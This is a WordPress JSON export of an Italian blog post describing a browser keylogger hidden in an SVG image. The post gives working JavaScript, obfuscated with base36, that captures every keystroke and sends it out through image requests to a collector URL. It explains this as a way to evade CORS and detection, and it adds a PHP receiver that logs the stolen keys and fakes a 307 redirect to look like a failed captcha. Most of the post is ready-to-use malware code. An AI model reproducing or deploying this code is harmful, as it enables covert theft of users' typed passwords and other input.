{"id":443,"date":"2023-06-12T17:10:13","date_gmt":"2023-06-12T15:10:13","guid":{"rendered":"https:\/\/koban3.me\/?p=443"},"modified":"2023-06-13T14:37:00","modified_gmt":"2023-06-13T12:37:00","slug":"svg-keylogger","status":"publish","type":"post","link":"https:\/\/koban3.me\/index.php\/2023\/06\/12\/svg-keylogger\/","title":{"rendered":"Svg keylogger"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"443\" class=\"elementor elementor-443\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-f154cf1 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"f154cf1\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-35deb4c\" data-id=\"35deb4c\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-6722af9 elementor-widget elementor-widget-heading\" data-id=\"6722af9\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<h2 class=\"elementor-heading-title elementor-size-large\">L'idea<\/h2>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-0eac4eb elementor-widget elementor-widget-text-editor\" data-id=\"0eac4eb\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>L&#8217;obiettivo \u00e8 semplice: creare un keylogger che funzioni all&#8217;interno di pagine web. <\/p><p>Non \u00e8 sicuramente un&#8217;idea originale, ma pu\u00f2 essere un ottimo spunto per approfondire certe dinamiche.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-98b7510 elementor-widget elementor-widget-heading\" data-id=\"98b7510\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<h2 class=\"elementor-heading-title elementor-size-large\">Struttura<\/h2>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-42dba0e elementor-widget elementor-widget-text-editor\" data-id=\"42dba0e\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>Il codice di per se \u00e8 relativamente semplice, si tratta &#8220;solo&#8221; di agganciare un handler all&#8217;evento &#8220;<i>keydown<\/i>&#8221; dell&#8217;oggetto <i>&#8220;window<\/i>&#8221; e inviare ad una pagina remota il tasto premuto.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-26f31f1 elementor-widget elementor-widget-heading\" data-id=\"26f31f1\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<h2 class=\"elementor-heading-title elementor-size-large\">Evasione<\/h2>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-1eb74ba elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"1eb74ba\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p><b>Js in SVG<\/b><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-ef5c526 elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"ef5c526\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>Dato che le immagini SVG permettono di incorporare del codice javascript ed eseguirlo, ho deciso di sfruttare questa capacit\u00e0 per rendere pi\u00f9 complessa l&#8217;identificazione e cercare di bypassare alcuni controlli di sicurezza.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-437f67b elementor-widget elementor-widget-text-editor\" data-id=\"437f67b\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p><b>Attenzione! <\/b>Il codice javascript incorporato negli SVG viene eseguito solo se l&#8217;immagine viene inserita nella pagina come elemento <i>&#8220;object&#8221;<\/i><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-52f055e elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"52f055e\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p><b>CORS bypass<br \/><\/b><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-d78e9d3 elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"d78e9d3\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>&#8220;CORS&#8221; (Cross-Origin Resource Sharing), il mostro con cui chi sviluppa applicazioni web si \u00e8 scontrato almeno una volta nella vita.<i><br \/><\/i><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-ca72b84 elementor-widget elementor-widget-text-editor\" data-id=\"ca72b84\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>Per chi non sa di cosa sto parlando, in parole povere si tratta della funzionalit\u00e0 che si occupa di gestire lo scambio di risorse tra domini differenti.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-56bc04b elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"56bc04b\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>Dato che stiamo progettando un software che potenzialmente invier\u00e0 i dati ad un dominio esterno a quello dove lo script \u00e8 in esecuzione, i blocchi di sicurezza sono in agguato. Ma dato che il nostro scopo \u00e8 solo quello di far uscire dei dati e non necessariamente leggere la risposta della chiamata, il problema si pu\u00f2 risolvere alla radice tramite un trick molto semplice: simulare l&#8217;inserimento di una nuova immagine nella pagina, impostando l&#8217;url della risorsa con la pagina che deve recepire i dati del keylogger. In automatico verr\u00e0 scatenato il caricamento della nuova &#8220;immagine&#8221; da parte del browser e i dati verranno inviati bypassando ogni controllo di sicurezza.<br><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-64636e5 elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"64636e5\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p><b>Offuscamento<br \/><\/b><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-7f5760c elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"7f5760c\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>Di tecniche per offuscare il codice ne esistono a palate. In questo esempio ho voluto inserire un minimo di &#8220;confusione&#8221; nascondendo i nomi usando come sorgente una stringa contenente le lettere dell&#8217;alfabeto e i numeri codificati in <i>base36 <\/i>(per approfondimento: <a href=\"https:\/\/medium.com\/analytics-vidhya\/base-36-why-how-its-important-a7b084b02548\">base-36-why-how-its-important<\/a>).<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-f184866 elementor-widget elementor-widget-spacer\" data-id=\"f184866\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"spacer.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<div class=\"elementor-spacer\">\n\t\t\t<div class=\"elementor-spacer-inner\"><\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-3dc6025 elementor-widget elementor-widget-heading\" data-id=\"3dc6025\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<h2 class=\"elementor-heading-title elementor-size-large\">Il codice<\/h2>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-c834636 elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"c834636\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p><b>Keylogger<br \/><\/b><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-884c1ae elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"884c1ae\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>Per semplicit\u00e0 ho sviluppato e testato il codice direttamente all&#8217;interno di una pagina html.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-f53acdc elementor-widget elementor-widget-elementor-syntax-highlighter\" data-id=\"f53acdc\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"elementor-syntax-highlighter.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<pre><code class='language-javascript'>&lt;script type=&quot; text\/javascript &quot;&gt;\nlet b = 30483235087530204251026473460499750369628008625670311705n.toString(36);\n\naddEventListener([b[10], b[4], b[24], b[3], b[14], b[22], b[13]].join(&#039;&#039;), function(e) \n{\n    setTimeout(() =&gt;\n    {\n        new Image().src = &#039;http:\/\/localhost\/test_svg_js\/robocaptcha.php?e=&#039; + encodeURIComponent(btoa(e[[b[0xA], b[0x4], b[0x18]].join(&#039;&#039;)]));\n    }, \n    Math.random() * 1800 + 200);\n});\n&lt;\/script&gt; <\/code><\/pre><script>\nif (!document.getElementById('syntaxed-prism')) {\n\tvar my_awesome_script = document.createElement('script');\n\tmy_awesome_script.setAttribute('src','https:\/\/koban3.me\/wp-content\/plugins\/syntax-highlighter-for-elementor\/assets\/prism2.js');\n\tmy_awesome_script.setAttribute('id','syntaxed-prism');\n\tdocument.body.appendChild(my_awesome_script);\n} else {\n\twindow.Prism && Prism.highlightAll();\n}\n<\/script>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-3f0161f elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"3f0161f\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>Per trasporlo all&#8217;interno dell&#8217;immagine SVG \u00e8 stato necessario solo incorporarlo all&#8217;interno dei tag <i>&#8220;CDATA&#8221;<\/i> e aggiungerlo in fondo al codice dell&#8217;immagine.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-c2ffe1c elementor-widget elementor-widget-elementor-syntax-highlighter\" data-id=\"c2ffe1c\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"elementor-syntax-highlighter.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<pre><code class='language-javascript'>   \/\/&lt;![CDATA[\n   let b = 30483235087530204251026473460499750369628008625670311705n.toString(36);\n\n   addEventListener([b[10], b[4], b[24], b[3], b[14], b[22], b[13]].join(&#039;&#039;), function(e) \n   {\n      setTimeout(() =&gt;\n      {\n         new Image().src = &#039;http:\/\/localhost\/test_svg_js\/robocaptcha.php?e=&#039; + encodeURIComponent(btoa(e[[b[0xA], b[0x4], b[0x18]].join(&#039;&#039;)]));\n      }, \n      Math.random() * 1800 + 200);\n   });\n   \/\/]]&gt; <\/code><\/pre><script>\nif (!document.getElementById('syntaxed-prism')) {\n\tvar my_awesome_script = document.createElement('script');\n\tmy_awesome_script.setAttribute('src','https:\/\/koban3.me\/wp-content\/plugins\/syntax-highlighter-for-elementor\/assets\/prism2.js');\n\tmy_awesome_script.setAttribute('id','syntaxed-prism');\n\tdocument.body.appendChild(my_awesome_script);\n} else {\n\twindow.Prism && Prism.highlightAll();\n}\n<\/script>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-20e4b6f elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"20e4b6f\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>Il risultato:<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-8bc131f elementor-widget elementor-widget-image\" data-id=\"8bc131f\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<img fetchpriority=\"high\" decoding=\"async\" width=\"1216\" height=\"913\" src=\"https:\/\/koban3.me\/wp-content\/uploads\/2023\/04\/robocaptcha_4.png\" class=\"attachment-2048x2048 size-2048x2048 wp-image-576\" alt=\"\" srcset=\"https:\/\/koban3.me\/wp-content\/uploads\/2023\/04\/robocaptcha_4.png 1216w, https:\/\/koban3.me\/wp-content\/uploads\/2023\/04\/robocaptcha_4-300x225.png 300w, https:\/\/koban3.me\/wp-content\/uploads\/2023\/04\/robocaptcha_4-1024x769.png 1024w, https:\/\/koban3.me\/wp-content\/uploads\/2023\/04\/robocaptcha_4-768x577.png 768w\" sizes=\"(max-width: 1216px) 100vw, 1216px\" \/>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-71949eb elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"71949eb\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p><b>Html per caricamento SVG<br \/><\/b><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-5e178ac elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"5e178ac\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>Esistono vari modi per incorporare un&#8217;immagine SVG nelle pagine web ma, come detto precedentemente, l&#8217;unico modo per rendere eseguibile il codice javascript contenuto all&#8217;interno \u00e8 solo quello di usare l&#8217;elemento <i>&#8220;object&#8221;<\/i>.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-c75f5e4 elementor-widget elementor-widget-elementor-syntax-highlighter\" data-id=\"c75f5e4\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"elementor-syntax-highlighter.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<pre><code class='language-javascript'>&lt;object data=&quot;logo.svg&quot; type=&quot;image\/svg+xml&quot;&gt;\n&lt;\/object&gt; <\/code><\/pre><script>\nif (!document.getElementById('syntaxed-prism')) {\n\tvar my_awesome_script = document.createElement('script');\n\tmy_awesome_script.setAttribute('src','https:\/\/koban3.me\/wp-content\/plugins\/syntax-highlighter-for-elementor\/assets\/prism2.js');\n\tmy_awesome_script.setAttribute('id','syntaxed-prism');\n\tdocument.body.appendChild(my_awesome_script);\n} else {\n\twindow.Prism && Prism.highlightAll();\n}\n<\/script>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-483a525 elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"483a525\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p><b>Script server<br \/><\/b><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-8a2f798 elementor-widget__width-initial elementor-widget elementor-widget-text-editor\" data-id=\"8a2f798\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p>Lo script verifica che siano stati passati i dati durante la chiamata e li accoda all&#8217;interno di un file di testo.&nbsp;<\/p>\n<p>Usando un p\u00f2 di ingegneria sociale, ho aggiunto anche la forzatura del codice di stato &#8220;307&#8221; (Temporary redirect), cos\u00ec a prima vista pu\u00f2 sembrare che la pagina tenti di caricare un qualche tipo di captcha da un sito esterno e la risorsa non risulta pi\u00f9 disponibile.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-474e4f6 elementor-widget elementor-widget-elementor-syntax-highlighter\" data-id=\"474e4f6\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"elementor-syntax-highlighter.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<pre><code class='language-javascript'>&lt;?php\nheader($_SERVER[&#039;SERVER_PROTOCOL&#039;] . &#039; 307 Temporary Redirect&#039;, true, 307);\n\nif(isset($_REQUEST[&#039;e&#039;]) &amp;&amp; empty($_REQUEST[&#039;e&#039;]) == false)\n{\n    $fp = fopen(&#039;remote_data.txt&#039;, &#039;a&#039;);\n    fwrite($fp, base64_decode($_REQUEST[&#039;e&#039;]) . &quot;\\r\\n&quot;);  \n    fclose($fp);  \n}\n?&gt; <\/code><\/pre><script>\nif (!document.getElementById('syntaxed-prism')) {\n\tvar my_awesome_script = document.createElement('script');\n\tmy_awesome_script.setAttribute('src','https:\/\/koban3.me\/wp-content\/plugins\/syntax-highlighter-for-elementor\/assets\/prism2.js');\n\tmy_awesome_script.setAttribute('id','syntaxed-prism');\n\tdocument.body.appendChild(my_awesome_script);\n} else {\n\twindow.Prism && Prism.highlightAll();\n}\n<\/script>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>L&#8217;idea L&#8217;obiettivo \u00e8 semplice: creare un keylogger che funzioni all&#8217;interno di pagine web. Non \u00e8 sicuramente un&#8217;idea originale, ma pu\u00f2 essere un ottimo spunto per approfondire certe dinamiche. Struttura Il codice di per se \u00e8 relativamente semplice, si tratta &#8220;solo&#8221; di agganciare un handler all&#8217;evento &#8220;keydown&#8221; dell&#8217;oggetto &#8220;window&#8221; e inviare [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20],"tags":[],"class_list":["post-443","post","type-post","status-publish","format-standard","hentry","category-web"],"_links":{"self":[{"href":"https:\/\/koban3.me\/index.php\/wp-json\/wp\/v2\/posts\/443","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/koban3.me\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/koban3.me\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/koban3.me\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/koban3.me\/index.php\/wp-json\/wp\/v2\/comments?post=443"}],"version-history":[{"count":47,"href":"https:\/\/koban3.me\/index.php\/wp-json\/wp\/v2\/posts\/443\/revisions"}],"predecessor-version":[{"id":596,"href":"https:\/\/koban3.me\/index.php\/wp-json\/wp\/v2\/posts\/443\/revisions\/596"}],"wp:attachment":[{"href":"https:\/\/koban3.me\/index.php\/wp-json\/wp\/v2\/media?parent=443"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/koban3.me\/index.php\/wp-json\/wp\/v2\/categories?post=443"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/koban3.me\/index.php\/wp-json\/wp\/v2\/tags?post=443"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}